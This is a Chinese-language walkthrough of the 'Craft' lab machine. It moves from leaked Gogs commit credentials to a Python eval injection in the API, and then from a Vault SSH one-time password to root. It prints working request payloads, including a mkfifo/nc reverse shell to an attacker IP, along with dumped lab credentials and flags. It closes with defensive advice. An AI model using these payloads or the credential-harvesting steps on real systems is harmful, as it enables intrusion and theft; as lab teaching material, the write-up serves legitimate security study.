[Meachines] [Medium] Craft gogs+Craft-API+py-eval+vault-toke-SSH权限提升
字数 1237 2025-08-29 08:30:18

Craft 靶机渗透测试教学文档

1. 信息收集

1.1 初始扫描

ip='10.10.10.110'; 
itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then 
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; 
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); 
    if [ -n "$ports" ]; then 
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; 
        nmap -Pn -sV -sC -p "$ports" "$ip"; 
    else 
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; 
    fi; 
else 
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; 
fi

扫描结果:

  • 22/tcp: OpenSSH 7.4p1 Debian 10+deb9u6
  • 443/tcp: nginx 1.15.8 (SSL证书显示commonName=craft.htb)
  • 6022/tcp: SSH (Go1服务)

1.2 主机名解析

echo '10.10.10.110 craft.htb' >> /etc/hosts
echo '10.10.10.110 api.craft.htb gogs.craft.htb' >> /etc/hosts

2. Gogs 服务利用

2.1 访问 Gogs

URL: https://gogs.craft.htb/

在提交历史中发现敏感信息:

  • 提交 a2d28ed1554adddfcfb845879bfea09f976ab7c1 中包含凭据:
    • 用户名: dinesh
    • 密码: 4aUh0A8PbVJxgd

2.2 代码审计

在提交 c414b160578943acfe2e158e89409623f41da4c6 中发现危险代码:

eval('%s > 1' % request.json['abv'])

这是一个Python eval注入漏洞点。

3. Craft API 利用

3.1 获取认证令牌

API登录端点: https://api.craft.htb/api/auth/login

使用发现的凭据获取JWT令牌:

{
  "username": "dinesh",
  "password": "4aUh0A8PbVJxgd"
}

响应中包含令牌:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNzQxNTAxNzY2fQ.b4Wde8XjJQs1UZ9phQCeDWBdtJqsWi0jMxA3hi6GZOY

3.2 利用eval注入执行命令

API端点: POST /api/brew/

请求示例:

POST /api/brew/ HTTP/1.1
Host: api.craft.htb
Content-Length: 122
Accept: application/json
Content-Type: application/json
X-Craft-API-Token: [TOKEN]

{
  "id": 0,
  "brewer": "x",
  "name": "x",
  "style": "x",
  "abv": "__import__('os').system('ping -c 1 10.10.16.33')"
}

限制:

  • 只能使用动态导入(import)
  • 无法执行多语句

3.3 获取反向Shell

{
  "id": 0,
  "brewer": "x",
  "name": "x",
  "style": "x",
  "abv": "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.33 443 >/tmp/f')"
}

4. 横向移动

4.1 发现数据库凭据

在容器内发现数据库配置:

CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'

4.2 数据库查询

使用Python脚本查询数据库:

import pymysql

connection = pymysql.connect(
    host='db',
    user='craft',
    password='qLGockJ6G2J75O',
    db='craft',
    cursorclass=pymysql.cursors.DictCursor
)

def show_tables(cursor):
    sql = "SHOW TABLES"
    cursor.execute(sql)
    tables = cursor.fetchall()
    print("\nTables in the database:")
    for idx, table in enumerate(tables, start=1):
        print(f"{idx}. {table['Tables_in_craft']}")
    print("\n")
    return tables

def show_table_data(cursor, table_name):
    sql = f"SELECT * FROM `{table_name}`"
    cursor.execute(sql)
    rows = cursor.fetchall()
    if rows:
        print(f"\nData in table {table_name}:")
        columns = rows[0].keys()
        print(f"{' | '.join(columns)}")
        print("-" * (len(' | '.join(columns))))
        for row in rows:
            print(' | '.join(str(row[column]) for column in columns))
    else:
        print(f"\nTable {table_name} is empty.")
    print("\n")

def main():
    try:
        with connection.cursor() as cursor:
            while True:
                tables = show_tables(cursor)
                user_input = input("Enter the number corresponding to the table to view data, or 'exit' to quit: ").strip()
                if user_input.lower() == 'exit':
                    print("Exiting program.")
                    break
                if user_input.isdigit():
                    table_idx = int(user_input) - 1
                    if 0 <= table_idx < len(tables):
                        table_name = tables[table_idx]['Tables_in_craft']
                        show_table_data(cursor, table_name)
                    else:
                        print("Invalid table number. Please try again.")
                else:
                    print("Invalid input. Please enter a valid table number or 'exit'.")
    finally:
        connection.close()

if __name__ == "__main__":
    main()

发现用户凭据:

1 | dinesh | 4aUh0A8PbVJxgd
4 | ebachman | llJ77D8QFkLPQB
5 | gilfoyle | ZEU3N8WNM2rh4T

4.3 登录gilfoyle账户

使用密码 ZEU3N8WNM2rh4T 登录:

  • Gogs: https://gogs.craft.htb/user/login
  • 获取私钥: https://gogs.craft.htb/gilfoyle/craft-infra/src/master/.ssh/id_rsa

获取user flag:

8acca2cd2d6aa23703904828ba442997

5. 权限提升

5.1 发现Vault令牌

cat .vault-token
# f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

5.2 使用Vault获取SSH OTP

vault login token:f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
vault write ssh/creds/root_otp ip=127.0.0.1
# 返回一次性密码: 67ebe3d4-cd6b-6e5c-6803-c635715eee91

5.3 使用OTP登录root

ssh root@127.0.0.1
# 输入一次性密码

获取root flag:

8369706eff98143d8d461826b6282b01

6. 关键知识点总结

  1. 信息收集:

    • 使用masscan和nmap进行端口扫描
    • 通过SSL证书发现子域名
  2. Gogs利用:

    • 检查代码提交历史寻找敏感信息
    • 发现硬编码凭据
  3. API安全:

    • JWT令牌认证机制
    • Python eval注入漏洞利用
    • 动态导入(import)的限制与绕过
  4. 数据库利用:

    • 从环境变量/配置文件中发现数据库凭据
    • 使用pymysql查询数据库
  5. 横向移动:

    • 密码重用攻击
    • 通过版本控制系统获取SSH私钥
  6. 权限提升:

    • HashiCorp Vault的基本使用
    • OTP(一次性密码)机制
    • 通过Vault获取root权限
  7. 防御建议:

    • 避免在代码中硬编码凭据
    • 禁止使用eval执行用户输入
    • 为Vault令牌设置适当的权限和过期时间
    • 使用最小权限原则配置服务账户
Craft 靶机渗透测试教学文档 1. 信息收集 1.1 初始扫描 扫描结果: 22/tcp: OpenSSH 7.4p1 Debian 10+deb9u6 443/tcp: nginx 1.15.8 (SSL证书显示commonName=craft.htb) 6022/tcp: SSH (Go1服务) 1.2 主机名解析 2. Gogs 服务利用 2.1 访问 Gogs URL: https://gogs.craft.htb/ 在提交历史中发现敏感信息: 提交 a2d28ed1554adddfcfb845879bfea09f976ab7c1 中包含凭据: 用户名: dinesh 密码: 4aUh0A8PbVJxgd 2.2 代码审计 在提交 c414b160578943acfe2e158e89409623f41da4c6 中发现危险代码: 这是一个Python eval注入漏洞点。 3. Craft API 利用 3.1 获取认证令牌 API登录端点: https://api.craft.htb/api/auth/login 使用发现的凭据获取JWT令牌: 响应中包含令牌: 3.2 利用eval注入执行命令 API端点: POST /api/brew/ 请求示例: 限制: 只能使用动态导入( import ) 无法执行多语句 3.3 获取反向Shell 4. 横向移动 4.1 发现数据库凭据 在容器内发现数据库配置: 4.2 数据库查询 使用Python脚本查询数据库: 发现用户凭据: 4.3 登录gilfoyle账户 使用密码 ZEU3N8WNM2rh4T 登录: Gogs: https://gogs.craft.htb/user/login 获取私钥: https://gogs.craft.htb/gilfoyle/craft-infra/src/master/.ssh/id_ rsa 获取user flag: 5. 权限提升 5.1 发现Vault令牌 5.2 使用Vault获取SSH OTP 5.3 使用OTP登录root 获取root flag: 6. 关键知识点总结 信息收集 : 使用masscan和nmap进行端口扫描 通过SSL证书发现子域名 Gogs利用 : 检查代码提交历史寻找敏感信息 发现硬编码凭据 API安全 : JWT令牌认证机制 Python eval注入漏洞利用 动态导入( import )的限制与绕过 数据库利用 : 从环境变量/配置文件中发现数据库凭据 使用pymysql查询数据库 横向移动 : 密码重用攻击 通过版本控制系统获取SSH私钥 权限提升 : HashiCorp Vault的基本使用 OTP(一次性密码)机制 通过Vault获取root权限 防御建议 : 避免在代码中硬编码凭据 禁止使用eval执行用户输入 为Vault令牌设置适当的权限和过期时间 使用最小权限原则配置服务账户